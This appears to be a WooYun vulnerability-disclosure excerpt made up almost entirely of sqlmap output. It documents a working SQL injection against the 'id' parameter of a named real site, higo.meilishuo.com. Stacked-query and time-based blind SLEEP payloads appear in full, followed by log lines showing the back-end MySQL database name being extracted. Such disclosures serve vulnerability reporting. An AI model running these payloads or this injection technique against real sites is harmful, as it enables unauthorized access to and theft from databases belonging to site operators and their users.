WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: r=wish/detail&id=1; SELECT SLEEP(5)-- 
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: r=wish/detail&id=1 AND SLEEP(5)
---
[13:50:39] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
[13:50:39] [INFO] fetching current database
[13:50:39] [WARNING] time-based comparison requires larger statistical model, please wait..............................                   
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
[13:52:31] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors 
[13:52:42] [INFO] adjusting time delay to 1 second due to good response times
higo_base
current database:    'higo_base'
[13:53:26] [INFO] fetched data logged to text files under '/Users/D_in/Desktop/sqlmap/output/higo.meilishuo.com'